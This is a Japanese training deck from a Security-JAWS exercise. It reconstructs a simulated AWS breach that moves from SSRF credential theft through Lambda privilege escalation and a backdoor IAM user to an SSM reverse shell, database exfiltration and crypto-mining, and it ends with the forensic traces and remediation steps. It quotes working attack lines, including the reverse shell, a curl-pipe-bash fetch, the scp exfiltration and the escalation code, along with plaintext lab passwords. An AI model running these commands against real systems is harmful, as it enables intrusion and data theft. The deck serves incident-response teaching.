とある診断員とSecurity-JAWS#02 解説編資料 2020/12/12

6.振り返り ● 今回のインシデントの全貌 ● 攻撃内容の解説とその痕跡について ● 原因と対策

調査依頼の内容 ● Secutterサービスは何か影響を受けているのか？ ● 不正なEC2が動作していた原因について調査をしてください。 ● サービス再開のための対策案について提案してください。

答え合わせ ● Secutterサービスは何か影響を受けているのか？ YES。攻撃による影響を受けています。 今回のインシデントでは攻撃者によってAWS環境を侵害され、AWS環境の管理者権限を奪 取されてしまっています。 また、Secutterサイトが動作するEC2サーバー内に侵入され、機密情報を窃取されています。 具体的に漏えいしたデータの詳細については後述します。 そのため当然、サービスをすぐに再開することはできません。 また、現状のままでは、再び攻撃を受ける可能性があるためいくつか早急に対応しなければ ならない問題が存在します。

● 不正なEC2が動作していた原因について調査をしてください。 SecutterサイトのWebアプリケーションに存在したSSRFの脆弱性を攻撃されたことを皮切 りに、AWS環境の認証情報を取得され、その後様々な攻撃によって、攻撃者にAWS環境の 管理者権限を奪取されました。 攻撃者は、管理者権限を利用して、10/3 15:27(JST)にus-west-2(オレゴン)リージョン にEC2を作成し、仮想通貨のマイニングを実行しています。攻撃の詳細については後述しま す。 ● サービス再開のための対策案について提案してください。 こちらの詳細については「原因と対策」のパ－トにて解説します。 答え合わせ

攻撃者の動き～管理者権限奪取まで～

攻撃者の動き～管理者権限奪取後～

Detectiveの機能から分かること 推奨アプローチで紹介したようにDetectiveの機能と関連リソースの状態 を確認するだけでも、以下の情報を把握することができます。 ● 攻撃者は35.233.183.126のIPアドレスからアクセスしている ● 不正なEC2以外にも、攻撃者によってIAMユーザーやLambda関数なども作成されて いる ● 攻撃には2つの認証情報（read-s3-ec2-role・lambda-creator-user）が悪用され ている ● 攻撃者に管理者権限を奪取されている（lambda-creator-userを見に行けばわかる） ● １つの認証情報はS3から漏れたのではないかと推測できる（関連リソースとしてでて いたserverless-codes-xxxxxxxxxxxxにアクセスすればピンとくる）

攻撃の詳細解説 攻撃者が行った攻撃を4つのフェーズに分け、攻撃の詳細 と確認できる攻撃の痕跡について解説します。 ● フェーズ1：EC2に存在した脆弱性への攻撃 ● フェーズ2 ：AWS環境の管理者権限への権限昇格 ● フェーズ3 ：EC2内への侵入・機密情報の窃取 ● フェーズ4 ：仮想通貨のマイニング

フェーズ1：EC2に存在した脆弱性への攻撃 Secutterサイトに存在したSSRFの脆弱性を攻撃され、 AWS環境の認証情報を取得されてしまったことにより 侵害が始まる。

SSRFとは？ 【参考】SSRF(Server Side Request Forgery)徹底入門 https://blog.tokumaru.org/2018/12/introduction-to-ssrf-server-side-request-forgery.html 指定した任意のリソースに対してHTTPリクエストを行うように、サーバーサイドアプリケーションを誘導させ る攻撃手法です。脆弱性の存在するサーバーを踏み台として他サーバーにアクセスさせることによって、本来 は直接到達することができないサーバーに対してアクセスすることが可能です。 192.168.0.x 内部NWのサーバー SSRF (Server Side Request Forgery) 公開サーバー 通常は内部NWに直接はアクセスできない 攻撃者 正常遷移のリクエスト ②本来はアクセスできない内部NWサーバ （192.168.0.x）に対して公開サーバーを経由してリクエ ストが送信される xxx/?URL=http://192.168.0.x xxx/?URL=http://www.example.com http://192.168.0.x ①パラメータの値を任意のURL値に変更して送信

クラウド環境での悪用 ● AWSなどのパブリッククラウドサービスではメタデータサービスと 呼ばれる機能が存在する。 ● この機能は、メタデータと呼ばれるインスタンス固有のデータ(イン スタンスID、OSデータ、一時的に付与される認証情報など)を内部 WebAPIを通じて取得するといった仕組みとなっている。 ● クラウド環境のサーバーにSSRFの脆弱性が存在する場合には、この 機能を悪用されこのメタデータを不正に取得されてしまう可能性があ る。 【参考】インスタンスメタデータとユーザーデータ https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/ec2-instance-metadata.html

AWSのAPIを利用して認証情報を取得 IAMロールがアタッチされたEC2インスタンスにおいて、脆弱性 を悪用された場合には、EC２のIAMロールに紐づいた認証情報を 窃取されてしまう。 AWS側のメタデータAPI SSRFの脆弱性が 存在するEC２ 攻撃者 ②EC2からAWSのメタデータAPIに対して一時的な認証情 報の取得を勝手に要求される xx/?URL=http://169.254.169.254/latest/meta-data/… 認証情報を含んだ結果が返る http://169.254.169.254/latest/meta-data/… 認証情報を窃取 正常遷移のリクエスト xxx/?URL=http://www.example.com ①パラメータの値をメタデータサーバーのURL値に変更して送信 ③攻撃者は脆弱性が存在するEC2からのレスポンスから、 EC2に一時的に付与された認証情報を取得することができる

脆弱性が存在した箇所 ● プロフィール画像の変更処理（profile.php）にSSRFの脆弱性が存在 ● このプラグラムでは、profile_imageパラメータの値に任意のURLを受け渡すことで、URL にアクセスさせ、その応答結果をimagesディレクトリに保存させることが可能 $file_name = $result[0]["profile_image"]; if(!empty($_POST['profile_image'])) { $image_url = $_POST['profile_image']; $file_name = basename(parse_url($image_url)['path']); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $image_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); $image = curl_exec($ch); $primary_ip = curl_getinfo($ch, CURLINFO_PRIMARY_IP); curl_close ($ch); if(!empty($image)){ file_put_contents('images/' . $file_name, $image); } } パラメータ値で受け渡されたURL値をそのままcurl関数に 受け渡して実行しています。 curl関数の実行結果をfile_put_contents関数でimages ディレクトリ内にファイルとして書き込んでいます。

攻撃者が行った攻撃 1. profile_imageパラメータに以下のURL値を挿入してprofile.phpにアクセ スし、ロール名(read-s3-ec2-role)を取得 http://169.254.169.254/latest/meta-data/iam/security-credentials 2. 取得したロール名を利用して以下URLを生成し、 再びprofile_imageパラメ ータに以下のURL値を挿入してprofile.phpにアクセスし、一時的に発行され たread-s3-ec2-roleの権限に紐づいた認証情報を取得 http://169.254.169.254/latest/meta-data/iam/security-credentials/read-s3-ec2-role

攻撃の痕跡 Nginxのログに攻撃の痕跡が残っています。攻撃者が利用している35.233.183.126のIPアドレ スからのアクセスを確認すれば、SSRF攻撃をされている痕跡を確認することができます。 SecutterにてCarolというユーザーを作成したのちに、profile.phpにSSRF攻撃を行っているこ とが分かります。

攻撃の痕跡 SSRF攻撃によって作成されたアップロードファイルが、EC2サーバー内（/var/www/html/images 配下）に残存しています。read-s3-ec2-roleファイルには攻撃によって取得された認証情報が記載され ています。タイムスタンプより攻撃が行われたと思われる時間も分かります。

実はこれ以外にも攻撃があった？（番外） sqlmapによるSQLインジェクション Niktoによる脆弱性スキャン

このアプリは他にも沢山脆弱性があります（番外） SSRF以外の脆弱性 ● つぶやき投稿でのXSS ● プロフィール更新でのCSRF ● 画像アップロードでのRCE ● 他にも..

フェーズ2 ：AWS環境の管理者権限への権限昇格 フェーズ１で取得したAWSの認証情報を利用して、情報 収集やさらなる攻撃を行い、最終的にはAWS環境の管理 者権限へと権限昇格される。

更に別な認証情報を取得 攻撃者はSSRF攻撃によって取得した認証情報Aを利用し て攻撃を行い、更に別な認証情報Bを取得 認証情報内容 アタッチされている IAMポリシー 認証情報A SSRF攻撃によって取得した認証情報EC2 にアタッチされていたread-s3-ec2-role の権限を持っている AmazonEC2RoleforSSM AmazonS3ReadOnlyAccess ReadSecretsManagerEC2Pollicy （インラインポリシー） 認証情報B IAMユーザー「lambda-creator- user」のアクセスキー。S3バケットに配 置されていたlambda_creator.pyにハ ードコードされている。 lambda-creator-policy （カスタマー管理ポリシー） IAMReadOnlyAccess

攻撃者の動き S3バケットから認証情報Bを取得 認証情報Aを利用した情報収集 認証情報Bを利用した情報収集 管理者権限への権限昇格 攻撃者はSSRF攻撃によって取得した認証情報Aを利用して、IAM・各種マネージドサービス （EC2、S3、Lambda、RDS、ALB）の情報収集を行っています。ほとんどの情報収集が権 限がないためエラーとなって失敗していますが、AmazonS3ReadOnlyAccessが割り振ら れていることからS3への情報収集が成功しています。このため、攻撃者は認証情報AにはS3 に対するアクセス権限があることを把握します。 攻撃者はS3バケットの一覧情報を取得し、serverless-codes-xxxxxxxxxxxxというS3バ ケットに配置されていたLambda関数用のpythonコードをダウンロードしています。ダウン ロードされた中のlambda_creator.pyにはlambda-creator-userのアクセスキーがハード コードされており、攻撃者は新たな認証情報Bを取得しています。 攻撃者は新たに取得した認証情報Bを利用して、再びIAM・各種マネージドサービスの情報収 集を行っています。認証情報BにはIAMReadOnlyAccessがアタッチされていることから、 攻撃者にIAMユーザー、グループ、ロールの一覧やそれぞれにアタッチされているIAMポリシ ーの詳細情報などを取得されています。これらの情報によって、攻撃者は権限昇格に必要な条 件がそろっていることを把握します。 その後、攻撃者はその条件を利用して、管理者権限への権限昇格を実行します。

攻撃の痕跡 35.233.183.126のIPアドレスより、攻撃者によって取得されたread-s3-ec2-roleの認証情報が 利用された形跡はCloudTrailのログから確認できます。CloudTrailのログも攻撃者のIPアドレス で絞り込みをかけて、時系列で見ていくと解析がしやすいと思います。 eventTime 2020-10-03T06:06:34Z eventName GetCallerIdentity eventSource sts.amazonaws.com requestParameters null responseElements {"userId":"AROA25LD35DA4ENRZA67N:i-0e6921bc7de8aa9e9","account":"xxxxxxxxxxxx","arn":"arn:aw s:sts::xxxxxxxxxxxx:assumed-role/read-s3-ec2-role/i-0e6921bc7de8aa9e9"}

S3バケット「serverless-codes-xxxxxxxxxxxx」にあるlambda_creator.pyが攻撃者に より取得されたことも確認できます。実際にS3上に存在するlambda_creator.pyを確認する と、アクセスキーがハードコードされていることも確認できます。 eventTime 2020-10-03T06:11:47Z eventName GetObject eventSource s3.amazonaws.com requestParameters {"bucketName":"serverless-codes-xxxxxxxxxxxx","Host":"serverless-codes-xxxxxxxxxxxx.s3.ap- northeast-1.amazonaws.com","key":"lambda_creator.py"} responseElements null 攻撃の痕跡

攻撃の痕跡 eventTime 2020-10-03T06:11:48Z eventName GetCallerIdentity eventSource sts.amazonaws.com requestParameters null responseElements {"userId":"AIDA25LD35DA6H25OUEXZ","account":"xxxxxxxxxxxx","arn":"arn:aws:iam::xxxxxxxxxxxx:u ser/lambda-creator-user"} その後、攻撃者は取得したアクセスキーを用いてアクセスしています。

権限昇格に利用した条件とは？ 認証情報Bに紐づくIAMユーザー「lambda-creator-user」にはlambda-creator-policy（カ スタマー管理ポリシー）がアタッチされています。 このlambda-creator-policyは以下のポリシーで構成されています。 ● iam:PassRole（存在するロールをリソースに割り当てることができる） ● lambda:CreateFunction （新たなLambda関数を作成することができる） ● lambda:InvokeFunction （Lambda関数を実行することができる） また、このAWS環境にはiam-generator-lambda-roleというLambda関数用のロールが存在 します。 このiam-generator-lambda-roleには以下のポリシーがアタッチされています。 ● IAMFullAccess(IAMに関連する機能を全て実行することができる)

権限昇格のメカニズム これらの条件を利用して、以下のようなlambda関数を利用した操作を行えば権限昇格が可能です。 攻撃者はこのような操作を試行し、lambda-creator-userにAdministratorAccessのポリシー をアタッチし、管理者権限を奪取しました。 指定したユーザーに管理者権限をアタッチするようなlambda関数を作成 (lambda:CreateFunctionの権限を利用) 処理を実行可能なロール(iam-generator-lambda-role)をlambda関数に割 り振る(iam:PassRoleの権限を利用) 作成したlambda関数を実行する（lambda:InvokeFunctionの権限を利用）

eventTime 2020-10-03T06:17:00Z eventName CreateFunction20150331 eventSource lambda.amazonaws.com requestParameters {"functionName":"szkpwned_211205b8c508753167ea","runtime":"python3.7","role":"arn:aws:iam::xx xxxxxxxxxx:role/iam-generator-lambda-role","handler":"function.lambda_handler","code":{},"pub lish":false,"environment":{}} responseElements {"functionName":"szkpwned_211205b8c508753167ea","functionArn":"arn:aws:lambda:ap-northeast-1: xxxxxxxxxxxx:function:szkpwned_211205b8c508753167ea","runtime":"python3.7","role":"arn:aws:ia m::xxxxxxxxxxxx:role/iam-generator-lambda-role","handler":"function.lambda_handler","codeSize ":286,"description":"","timeout":3,"memorySize":128,"lastModified":"2020-10-03T06:17:00.318+0 000","codeSha256":"zdGGNeorAIs6Yq6rgisFBOc9xtU802GYySqlURLiqGE=","version":"$LATEST","environ ment":{},"tracingConfig":{"mode":"PassThrough"},"revisionId":"4afae776-098c-4f7d-8258-5bcc2de b870e","state":"Active","lastUpdateStatus":"Successful","packageType":"Zip"} 攻撃の痕跡 35.233.183.126のIPアドレスより、szkpwned_211205b8c508753167eaというLambda 関数を作成し、iam-generator-lambda-roleのロールをアタッチしていることなどが CloudTrailのログから確認できます。

攻撃の痕跡 その後、作成したLambda関数を実行し、権限昇格を実行しています。 eventTime 2020-10-03T06:17:00Z eventName Invoke eventSource lambda.amazonaws.com requestParameters {"functionName":"arn:aws:lambda:ap-northeast-1:xxxxxxxxxxxx:function:szkpwned_211205b8c508753 167ea","invocationType":"Event"} responseElements null

攻撃の痕跡 作成されたLambda関数のソースコード import boto3 def lambda_handler(event, context): client = boto3.client('iam') response = client.attach_user_policy( UserName='lambda-creator-user', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response

攻撃の痕跡 IAMユーザー「lambda-creator-user」にAdministratorAccessがアタッチされています。

フェーズ3 ：EC2内への侵入・機密情報の窃取 管理者権限を奪取した攻撃者に、その権限を利用してEC2 内に侵入される。攻撃者は、サーバー内で情報収集を行い、 最終的にはRDSから機密情報を窃取している。

管理者権限を奪取した攻撃者のその後の行動は？ 管理者権限を利用した情報収集 バックドアユーザーの作成 EC2内への侵入 攻撃者は認証情報Bにて、再びIAM・各種マネージドサービス（EC2、S3、Lambda、RDS、 ALB）の情報収集を行っています。以前は権限がなかったため失敗していますが、管理者権 限が付与されたため、今度はすべてのマネージドサービスに関連する情報を取得されていま す。 攻撃者はbackdoorffd0fb5dac5447659914というバックドア用のIAMユーザーを作成し ています。このIAMユーザーにはAdministratorAccessの管理ポリシーがアタッチされて おり、アクセスキーも発行されています。 管理者権限への権限昇格 その後、攻撃者は、EC2にアタッチされているread-s3-ec2-roleの権限と、あるAWSサー ビスを悪用してEC2内に侵入しています。

攻撃の痕跡 35.233.183.126のIPアドレスより、IAMユーザー「backdoorffd0fb5dac5447659914」を 作成していることがCloudTrailのログから確認できます。 eventTime 2020-10-03T06:22:18Z eventName CreateUser eventSource iam.amazonaws.com requestParameters {"userName":"backdoorffd0fb5dac5447659914"} responseElements {"user":{"path":"/","userName":"backdoorffd0fb5dac5447659914","userId":"AIDA25LD35DAV6LA7DV65 ","arn":"arn:aws:iam::xxxxxxxxxxxx:user/backdoorffd0fb5dac5447659914","createDate":"Oct 3, 2020 6:22:18 AM"}}

攻撃者がEC2の侵入に利用したマネージドサービス ● AWS Systems Manager https://aws.amazon.com/jp/systems-manager/ ○ AWSおよびオンプレミスのサーバ群を管理するための多機能な マネージドサービス ○ EC2インスタンス・オンプレミスのサーバにインストールされた SSM Agentを介して、AWS Systems Managerに情報集約し、 管理することが可能です。 【参考】AWS再入門ブログリレー AWS Systems Manager編 https://dev.classmethod.jp/articles/relay-re-introduction-2019-ssm/

Run Commandを悪用 ● Secutterが動作するEC2では、SSM Agentが動作しており、EC2インスタンスにもAWS Systems Managerを利用するためのロール（※）がアタッチされているため、このサービ スを利用することができます。 ※read-s3-ec2-roleには管理ポリシーAmazonEC2RoleforSSMがアタッチされています。 ● 今回の攻撃では、AWS Systems Managerの機能であるRun Commandを悪用していま す。 ● Run Commandの機能は、管理対象のサーバーに対して、アップデートなどの管理タスク を行うために、リモートからコマンド実行を行うための機能です。 ● SSM Agentは、rootアクセス権限 (Linux) または SYSTEM アクセス権限 (Windows Server) を使用して EC2 インスタンスで実行されます。 ● つまり、この機能を悪用することで、リモートからEC2インスタンスにroot権限にて任意の コードを実行させることが可能です。

Reverse Shell接続を用いて侵入 攻撃者はRun Commandの機能を悪用して以下のコマンドを実行しています。 このコマンドはbashの機能を利用して攻撃者のサーバー（35.233.183.126） の4444ポートにReverse Shell接続を行うためのものです。 攻撃者は攻撃者のサーバーにて接続を待ち受けており、この接続を経由してEC2 内へ侵入しました。 /bin/bash -i >& /dev/tcp/35.233.183.126/4444 0>&1

35.233.183.126のIPアドレスより、Runcommandが実行されていることが、CloudTrailのロ グから確認できます。対象のインスタンスIDよりSecutterが動作するEC2でコマンドが実行され ていることが確認できます。 eventTime 2020-10-03T06:22:24Z eventName SendCommand eventSource ssm.amazonaws.com requestParameters {"instanceIds":["i-0e6921bc7de8aa9e9"],"documentName":"AWS-RunShellScript","parameters":{"com mands":["/bin/bash -i >& /dev/tcp/35.233.183.126/4444 0>&1"]},"interactive":false} responseElements {"command":{"commandId":"9abe6ca5-4780-44e7-a537-2b299d0b2e28","documentName":"AWS-RunShellSc ript","documentVersion":"","comment":"","expiresAfter":"Oct 3, 2020 8:22:24 AM","parameters": {"commands":["/bin/bash -i >& /dev/tcp/35.233.183.126/4444 0>&1"]},"instanceIds":["i-0e6921bc 7de8aa9e9"],"targets":[],"requestedDateTime":"Oct 3, 2020 6:22:24 AM","status":"Pending","sta tusDetails":"Pending","outputS3BucketName":"","outputS3KeyPrefix":"","maxConcurrency":"50","m axErrors":"0","targetCount":1,"completedCount":0,"errorCount":0,"deliveryTimedOutCount":0,"se rviceRole":"","notificationConfig":{"notificationArn":"","notificationEvents":[],"notificatio nType":""},"cloudWatchOutputConfig":{"cloudWatchLogGroupName":"","cloudWatchOutputEnabled":fa lse},"interactive":false,"timeoutSeconds":3600}} 攻撃の痕跡

攻撃の痕跡 EC2内のSSM エージェントのログ（/var/log/amazon/ssm/amazon-ssm-agent.log）にも コマンドが実行された形跡が残っています。 2020-10-03 15:22:25 INFO [ssm-document-worker] [9abe6ca5-4780-44e7-a537-2b299d0b2e28] [DataBackend] [pluginName=aws:run ShellScript] aws:runShellScript started with configuration { map[id:0.aws:runShellScript runCommand:[/bin/bash -i >& /dev/tcp/35.233.183.126/4444 0>&1] timeoutSeconds:3600 workingDirectory:] 9abe6ca5-4780-44e7-a537-2b299d0b2e28/i-0e6 921bc7de8aa9e9/awsrunShellScript false false /var/lib/amazon/ssm/i-0e6921bc7de8aa9e9/document/orchestration/9abe6ca5- 4780-44e7-a537-2b299d0b2e28/awsrunShellScript aws.ssm.9abe6ca5-4780-44e7-a537-2b299d0b2e28.i-0e6921bc7de8aa9e9 9abe6ca5 -4780-44e7-a537-2b299d0b2e28 aws:runShellScript aws:runShellScript map[] false [] false }

EC2内での攻撃者の行動～その１～ python -c 'import pty; pty.spawn("/bin/bash")' id uname -a w last printenv curl -sS -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh chmod +x /tmp/LinEnum.sh /tmp/LinEnum.sh cat /etc/nginx/nginx.conf ls -la /var/www/html/ 攻撃者はまずは各種Linuxコマンドを使用して情報収集をしています。 その後、情報収集用のシェルスクリプトをダウンロードして実行しています。 なお、侵入後に実行されたコマンドはrootユーザー権限で実行されています。 Linuxシステムの内部情報を収集する シェルスクリプトを実行

EC2内での攻撃者の行動～その2～ cat /etc/nginx/nginx.conf ls -la /var/www/html/ cat /var/www/html/database_connection.php mysql -u secutter -p'veryverysecurepw' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com ls -la /home/ec2-user/ ls -la /home/ec2-user/.ssh cat /home/ec2-user/setup.sh aws secretsmanager get-secret-value --secret-id secutter-prd-db-secret --region ap-northeast-1 mysql -u master -p'7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com 攻撃者はDBの接続情報が記載されたphpファイルを参照し、記載してある認証情 報を利用して、secutterユーザーでRDSにアクセスしています。 また、その後いくつかのコマンド実行後に、今度はmasterユーザー（RDSの管 理者ユーザー）でRDSにアクセスしています。 masterユーザーでRDSに接続 secutterユーザーでRDSに接続

なぜRDSの管理者の認証情報が取得されたのか？ ● AWS Secrets Manager https://aws.amazon.com/jp/secrets-manager/ ○ データベースの認証情報や、パスワードなどの任意の機密情報をAPIコ ールで取得できるためのAWSサービス ○ APIを呼び出すことで機密情報を取得できるためアプリケーションなど にハードコードする必要がない ○ パスワードなどを一定間隔でローテーションさせることも容易となる 【参考】機密情報を一元管理できる「AWS Secrets Manager」とは？概要と主要機能、動作原理、各種リソースまとめ https://dev.classmethod.jp/articles/about-secrets-manager/

#!/bin/sh ssm_github="Github" ssm_mysql="secutter-prd-db-secret" s3_fluentd="secutter-logs-xxxxxxxxxxxx" ～中略～ # Deploying the Secutter app secret=$(aws secretsmanager get-secret-value --secret-id $ssm_github --region ap-northeast-1 | jq .SecretString | jq fromjson) token=$(echo $secret | jq -r .token) ～中略～ # Importing tables to MySQL secret=$(aws secretsmanager get-secret-value --secret-id $ssm_mysql --region ap-northeast-1 | jq .SecretString | jq fromjson) user=$(echo $secret | jq -r .username) password=$(echo $secret | jq -r .password) セットアップ用スクリプトにてこのサービスを利用 /home/ec2-user/setup.shの一部 このAWSサービスはsetup.shにて管理者用DBユーザーの認証情報などを取得す るために利用されていました。

{ "Name": "secutter-prd-db-secret", "VersionId": "5dc24f40-c14d-4f09-ae08-c8b231feada0", "SecretString": "{¥"password¥":¥"7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7¥",¥"username¥":¥"master¥",¥"host¥":¥"secutter-prd-db.chch2ezj5tkn.ap-northeast- 1.rds.amazonaws.com¥",¥"port¥":¥"3306¥"}", "VersionStages": [ "AWSCURRENT" ], "CreatedDate": 1601703427.558, "ARN": "arn:aws:secretsmanager:ap-northeast-1:xxxxxxxxxxxx:secret:secutter-prd-db-secret-aVjx4M" } cat /home/ec2-user/setup.sh aws secretsmanager get-secret-value --secret-id secutter-prd-db-secret --region ap-northeast-1 mysql -u master -p'7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com 攻撃者はこのサービスを利用して認証情報を入手 攻撃者はsetup.shの内容より、このサービスを利用していることを把握し、 AWS CLIを実行してRDSの管理者権限の認証情報を取得しました。 AWS CLIの実行結果

EC2内での攻撃者の行動～その3～ mysqldump -u master -p'7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com testing > /tmp/testing.dump mysqldump -u master -p'7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com credit > /tmp/credit.dump tar zcf /tmp/app.tar.gz -C / var/www/html/ scp -oStrictHostKeyChecking=no -r /tmp/app.tar.gz [email protected]:/home/kzsregit/ scp -oStrictHostKeyChecking=no -r /tmp/testing.dump [email protected]:/home/kzsregit/ scp -oStrictHostKeyChecking=no -r /tmp/credit.dump [email protected]:/home/kzsregit/ rm -rf /tmp/* echo 'Oh my god! This host is hacked!' > /home/ec2-user/read.me 攻撃者はその後、masterユーザーの権限を利用して、testing・creditのデータ ベース情報をダンプしています。 また、secutterのソースコードをtarコマンドで圧縮し、それらの情報を攻撃者 のサーバー（35.233.183.126）へscpコマンドを用いて転送しています。 scpコマンドを利用して攻撃者サーバーへ 機密情報を送信

攻撃の痕跡 rootユーザーの.bash_historyに攻撃者が実行したコマンドの形跡が残っています。

フェーズ4 ：仮想通貨のマイニング 攻撃者によって、別リージョンであるus-west-2(オレゴ ン)にて、不正なEC2インスタンスが作成され、仮想通貨 をマイニングされる。

マイニングまでの流れ EC2や関連リソースを作成 作成したEC2にロールをアタッチ コマンド実行により マイニングを実行 実際の攻撃では事前にマイニングツールがインストールされたカスタムAMIが展開されることが 多いですが、今回はあえてAmazonのオリジナルAMIのEC2を構築してから、コマンド実行を行 ってマイニングツールをダウンロードし、実行しています。 攻撃者によってus-west-2(オレゴン)リージョンにEC2及びもろもろの関連リソース（VPC, サブネット、インターネットゲートウェイ、セキュリティグループ、キーペア）が作成され ました。 コインマイナーの実行には、Reverse Shellと同様にAWS Systems ManagerのRun Commandを利用しています。今回の攻撃では攻撃者サーバーより、XMRigや設定ファイル などをダウンロードして実行することで、仮想通貨Moneroをマイニングしています。 Secutterが動作するEC2にアタッチされていたread-s3-ec2-roleを作成したEC2にアタッ チしています。

攻撃の痕跡 35.233.183.126のIPアドレスより、us-west-2(オレゴン)リージョンにEC2インスタンスを作 成していることがCloudTrailのログから確認できます。 eventTime 2020-10-03T06:27:30Z eventName RunInstances eventSource ec2.amazonaws.com requestParameters {"instancesSet":{"items":[{"imageId":"ami-0a07be880014c7b8e","minCount":1,"maxCount":1,"keyName":"evilec2"}]},"groupSet":{"items": [{"groupId":"sg-0c876103f0ed74e5f"}]},"instanceType":"t2.micro","blockDeviceMapping":{},"monitoring":{"enabled":false},"subnetId":"s ubnet-055b00734e2968c74","disableApiTermination":false,"clientToken":"1f778311-4250-4384-a37a-a925e41b98dd","tagSpecificationSet":{" items":[{"resourceType":"instance","tags":[{"key":"Name","value":"evil_ec2"}]}]}} responseElements {"requestId":"a966f6e2-58a7-49ee-9a9a-1088e84d0f99","reservationId":"r-0b3f12216e028d1ad","ownerId":"xxxxxxxxxxxx","groupSet":{},"in stancesSet":{"items":[{"instanceId":"i-03bc24bc72dd2ab01","imageId":"ami-0a07be880014c7b8e","instanceState":{"code":0,"name":"pendin g"},"privateDnsName":"ip-10-0-0-137.us-west-2.compute.internal","keyName":"evilec2","amiLaunchIndex":0,"productCodes":{},"instanceTy pe":"t2.micro","launchTime":1601706450000,"placement":{"availabilityZone":"us-west-2a","tenancy":"default"},"monitoring":{"state":"d isabled"},"subnetId":"subnet-055b00734e2968c74","vpcId":"vpc-0220d4f622a8fcbda","privateIpAddress":"10.0.0.137","stateReason":{"code ":"pending","message":"pending"},"architecture":"x86_64","rootDeviceType":"ebs","rootDeviceName":"/dev/xvda","blockDeviceMapp ing":{}, "virtualizationType":"hvm","hypervisor":"xen","tagSet":{"items":[{"key":"Name","value":"evil_ec2"}]},"clientToken":"1f778311 -4250-43 84-a37a-a925e41b98dd","groupSet":{"items":[{"groupId":"sg-0c876103f0ed74e5f","groupName":"evil-ec2"}]},"sourceDestCheck":true,"netwo rkInterfaceSet":{"items":[{"networkInterfaceId":"eni-09f3c4d0a00149483","subnetId":"subnet-055b00734e2968c74","vpcId":"vpc-0220d4f62 2a8fcbda","ownerId":"xxxxxxxxxxxx","status":"in-use","macAddress":"02:cf:c1:c1:68:bb","privateIpAddress":"10.0.0.137","sourceDestChe ck":true,"interfaceType":"interface","groupSet":{"items":[{"groupId":"sg -0c876103f0ed74e5f","groupName":"evil-ec2"}]},"attachment": {"attachmentId":"eni-attach-0c6c270fee275f8b1","deviceIndex":0,"status":"attaching","attachTime":1601706450000,"deleteOnTermination ":true},"privateIpAddressesSet":{"item":[{"privateIpAddress":"10.0.0.137","primary":true}]},"ipv6AddressesSet":{},"tagSet":{} }]},"eb sOptimized":false,"cpuOptions":{"coreCount":1,"threadsPerCore":1},"capacityReservationSpecification":{"capacityReservationPre ference ":"open"},"enclaveOptions":{"enabled":false},"metadataOptions":{"state":"pending","httpTokens":"optional","httpPutResponseHop Limit": 1,"httpEndpoint":"enabled"}}]}}

作成したEC2に対してコマンド実行していることも確認できます。curlコマンドにて攻撃者サーバ ーよりjpgファイルをダウンロードし、その結果をコマンドとして実行しています。 eventTime 2020-10-03T06:34:07Z eventName SendCommand eventSource ssm.amazonaws.com requestParameters {"instanceIds":["i-03bc24bc72dd2ab01"],"documentName":"AWS-RunShellScript","parameters":{"com mands":["curl -s http://35.233.183.126:5555/szk.jpg | bash -s"]},"interactive":false} responseElements {"command":{"commandId":"758ea208-f31d-451f-b96d-186722710408","documentName":"AWS-RunShellSc ript","documentVersion":"","comment":"","expiresAfter":"Oct 3, 2020 8:34:07 AM","parameters": {"commands":["curl -s http://35.233.183.126:5555/szk.jpg | bash -s"]},"instanceIds":["i-03bc2 4bc72dd2ab01"],"targets":[],"requestedDateTime":"Oct 3, 2020 6:34:07 AM","status":"Pending"," statusDetails":"Pending","outputS3BucketName":"","outputS3KeyPrefix":"","maxConcurrency":"50", "maxErrors":"0","targetCount":1,"completedCount":0,"errorCount":0,"deliveryTimedOutCount":0," serviceRole":"","notificationConfig":{"notificationArn":"","notificationEvents":[],"notificat ionType":""},"cloudWatchOutputConfig":{"cloudWatchLogGroupName":"","cloudWatchOutputEnabled": false},"interactive":false,"timeoutSeconds":3600}} 攻撃の痕跡

このAWS環境は一体何がダメだったのか？ 侵害されてしまった直接的な要因としては以下が挙げられ ます。 ● SecutterのWebアプリケーションに脆弱性（SSRF）が存在 ● EC2に必要以上のS3バケットへのアクセス権限が存在 ● S3上にアクセスキーがハードコードされていたスクリプト (lambda_creator.py)が存在 ● IAMが操作できる高権限のLambda関数のロールが放置されていた ● super-developerの作業内容が管理されていなかった…

被害を拡大しないために最優先で行うべきこと 攻撃者によって再び悪用される可能性があるアクセスキー やアカウントの無効化を対応 ● read-s3-ec2-roleにおけるアクティブなセッションの無効化 ● lambda-creator-userのアクセスキーを無効化 （AdministratorAccessのポリシーをデタッチすることと、S3上の スクリプトファイルもあわせて削除） ● 攻撃者が作成したバックドアユーザー （backdoorffd0fb5dac5447659914）を削除

● Secutterサイト利用者の情報・クレジットカード情報などが漏洩し ているため、関係者や関連機関に対する事象の説明や謝罪などを実施 する必要があるでしょう。 ● パスワードのハッシュ値を含むユーザアカウント情報が漏洩している ことから、Secutterサイトにおけるパスワードの再設定はもちろん、 同じパスワードを使いまわしている他サイトについてもパスワードを 変更するように通知したほうが良いでしょう。 サイト利用者などへの対応も必要

